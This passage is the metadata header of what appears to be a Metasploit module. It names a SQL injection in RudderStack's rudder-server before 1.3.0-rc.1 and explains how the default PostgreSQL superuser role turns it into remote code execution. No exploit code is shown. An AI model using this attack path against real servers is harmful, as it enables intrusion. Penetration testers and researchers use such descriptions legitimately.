'Name' => 'Rudder Server SQLI Remote Code Execution',
'Description' => %q{
This Metasploit module exploits a SQL injection vulnerability in
RudderStack's rudder-server, an open source Customer Data Platform (CDP).
The vulnerability exists in versions of rudder-server prior to 1.3.0-rc.1.
By exploiting this flaw, an attacker can execute arbitrary SQL commands,
which may lead to Remote Code Execution (RCE) due to the `rudder` role
in PostgreSQL having superuser permissions by default.
